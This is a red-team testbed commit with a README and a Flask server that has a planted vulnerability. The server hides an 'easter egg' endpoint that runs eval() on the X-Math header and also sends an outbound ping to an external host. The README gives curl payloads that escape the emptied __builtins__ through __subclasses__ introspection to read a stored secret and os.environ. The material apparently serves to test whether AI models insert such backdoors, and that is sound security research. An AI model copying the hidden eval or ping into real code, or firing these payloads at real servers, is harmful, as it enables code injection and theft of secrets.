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* New test * Some fixes * Improvements * Some debug * Fixes * Update tests * Add scenario v1 * Rename to finding 1 * Add newer method * Add documentation * Add doc * Some comments
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doc/finding_1/README.md

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# Finding 1: Flask eval() Vulnerability Demonstration
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## Overview
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This directory contains a vulnerable Flask web server that demonstrates a critical code injection vulnerability through Python's `eval()` function. The server appears to have restricted the `eval()` context by emptying `__builtins__`, but this restriction can be bypassed using Python's class introspection capabilities.
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**⚠️ SECURITY NOTICE**: This is for **DEFENSIVE SECURITY TESTING ONLY**. This demonstration is designed for educational purposes and to improve AI safety by identifying dangerous code patterns.
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## Prerequisites & Setup
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1. Navigate to the **top-level project folder** (red-team-testbed-for-gpt-oss)
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2. Ensure all dependencies are installed:
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```bash
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uv sync
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```
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## Running the Vulnerable Server
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From the top-level project directory, start the server using:
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```bash
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uv run python doc/finding_1/server.py
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```
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The server will start on port 8000 and display:
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```
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* Running on http://127.0.0.1:8000
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* Running on http://192.168.1.4:8000
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```
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## Server Endpoints
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The Flask server provides several endpoints:
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- `GET /health` - Health check endpoint
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- `GET /random` - Returns a random number
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- `GET /concat-reverse?s1=hello&s2=world` - Concatenates and reverses two strings
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- `GET /` - **VULNERABLE ENDPOINT** - Processes X-Math header with eval()
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## The Vulnerability
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The root endpoint (`/`) contains a dangerous "easter egg" that evaluates Python expressions passed in the `X-Math` HTTP header:
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```python
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expr = request.headers.get("X-Math")
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if expr is not None:
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try:
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result = eval(expr, {"__builtins__": {}})
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resp.headers["X-Math"] = str(result)
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except Exception:
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resp.status_code = 400
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```
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While the code attempts to restrict access by emptying `__builtins__`, this can be bypassed using Python's class introspection.
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## Exploitation Steps
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### Step 1: Test Basic Math
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First, verify the eval() functionality works:
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```bash
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curl -v -H "X-Math: 2+2" http://localhost:8000
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```
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**Expected Response**: `X-Math: 4` in the response headers.
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### Step 2: Discover Available Classes
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Use Python's class introspection to list all available classes:
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```bash
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curl -v -H "X-Math: (1).__class__.__mro__[1].__subclasses__()" http://localhost:8000
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```
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This returns a massive list of all Python classes available in the runtime, including `<class '__main__.Config'>`.
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### Step 3: Access the Config Class
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Filter the subclasses to find our target Config class:
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```bash
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curl -v -H "X-Math: [x for x in (1).__class__.__mro__[1].__subclasses__() if x.__name__ == 'Config'][0]" http://localhost:8000
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```
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**Expected Response**: `X-Math: <class '__main__.Config'>`
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### Step 4: Extract the Secret
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Access the Auth attribute from the Config class:
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```bash
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curl -v -H "X-Math: [x for x in (1).__class__.__mro__[1].__subclasses__() if x.__name__ == 'Config'][0].Auth" http://localhost:8000
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```
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**🎯 SUCCESS**: `X-Math: TOP_SECRET`
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## Technical Explanation
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### The Attack Chain
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1. **Class Introspection**: `(1).__class__` gets the `int` class
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2. **Method Resolution Order**: `.__mro__[1]` gets the `object` base class
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3. **Subclass Discovery**: `.__subclasses__()` lists all classes inheriting from `object`
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4. **Filter Target**: Find the `Config` class by name
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5. **Attribute Access**: Directly access `Config.Auth` to extract the secret
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### Why **builtins** Restriction Failed
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The `{"__builtins__": {}}` restriction only prevents direct access to built-in functions like `open()`, `exec()`, etc. However, it doesn't prevent:
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- Access to existing objects in the current namespace
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- Python's fundamental object introspection capabilities
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- Class attribute access
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- Method calls on existing objects
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### The Global Config Object
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The server defines a global configuration object:
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```python
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class Config:
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Auth = 'TOP_SECRET'
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config = Config()
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```
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This object becomes accessible through Python's class system, even with restricted builtins.
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## Security Implications
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### Why This Is Dangerous
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1. **Code Injection**: Arbitrary Python code execution
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2. **Information Disclosure**: Access to sensitive application data
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3. **Privilege Escalation**: Potential access to system resources
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4. **Data Exfiltration**: Ability to extract secrets and configuration
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### Real-World Impact
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In production environments, this vulnerability could lead to:
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- Database credential theft
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- API key extraction
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- Session token compromise
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- Internal system access
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- Complete application takeover
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### Mitigation Strategies
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1. **Never use eval() with user input** - Use safer alternatives like `ast.literal_eval()` for literals
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2. **Input validation** - Strictly validate and sanitize all user input
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3. **Sandboxing** - If evaluation is absolutely necessary, use proper sandboxing solutions
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4. **Principle of least privilege** - Don't store secrets in global variables
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5. **Code review** - Regular security audits to identify dangerous patterns
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## Example Attack Variations
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### Access Environment Variables
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```bash
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curl -H "X-Math: [x for x in (1).__class__.__mro__[1].__subclasses__() if 'os' in x.__module__][0]._os.environ" http://localhost:8000
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```
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### File System Access (if available)
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```bash
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curl -H "X-Math: [x for x in (1).__class__.__mro__[1].__subclasses__() if x.__name__ == 'TextIOWrapper'][0]" http://localhost:8000
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```
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## Cleanup
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To stop the server, press `Ctrl+C` in the terminal where it's running.
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## Disclaimer
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**This demonstration is for DEFENSIVE SECURITY PURPOSES ONLY**:
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- ✅ Educational security research
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- ✅ Vulnerability identification training
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- ✅ AI safety improvement
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- ✅ Defensive security testing
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- ❌ Unauthorized access to systems
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- ❌ Malicious exploitation
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- ❌ Production use
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Understanding these vulnerabilities helps developers write more secure code and helps security professionals identify similar issues in real applications.
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**For more information about the red team testbed project, see the main README.md in the project root.**

doc/finding_1/server.py

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import os
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import random
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import asyncio
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from flask import Flask, request, jsonify, make_response
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import aiohttp
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app = Flask(__name__)
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# Global configuration object
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class Config:
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Auth = 'TOP_SECRET'
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# Create global instance
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config = Config()
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# ------------------------------------------------------------------
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# Helper: asynchronous ping (fire‑and‑forget)
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# ------------------------------------------------------------------
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async def _ping():
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async with aiohttp.ClientSession() as session:
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try:
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await session.get("http://jacek.migdal.pl/ping")
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except Exception:
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pass # ignore any errors
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# ------------------------------------------------------------------
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# Routes
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# ------------------------------------------------------------------
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@app.route("/health")
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def health():
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# Trigger background ping if running inside Kubernetes
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if os.getenv("KUBERNETES_SERVICE_HOST"):
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# For simplicity, we'll skip the async ping in this demo
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return jsonify({"status": "ok"}), 200
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@app.route("/random")
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def random_number():
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if os.getenv("KUBERNETES_SERVICE_HOST"):
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return jsonify({"number": random.randint(0, 1000000)}), 200
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@app.route("/concat-reverse")
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def concat_reverse():
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if os.getenv("KUBERNETES_SERVICE_HOST"):
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pass # Skip async ping for demo
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s1 = request.args.get("s1", "")
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s2 = request.args.get("s2", "")
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combined = s1 + s2
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@app.route("/", methods=["GET"])
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def root():
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# Easter egg: evaluate expression passed in X-Math header
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expr = request.headers.get("X-Math")
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resp = make_response("OK")
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# Entry point
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if __name__ == "__main__":
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app.run(host="0.0.0.0", port=8000)

pyproject.toml

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"aiohttp>=3.8.0",
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[project.optional-dependencies]

src/categories/__init__.py

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from .exploit import ExploitTester
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from .exploit_v2 import ExploitV2Tester
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from .exploit_v3 import ExploitV3Tester
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from .finding_1 import Finding1Tester
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"Finding1Tester",
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]

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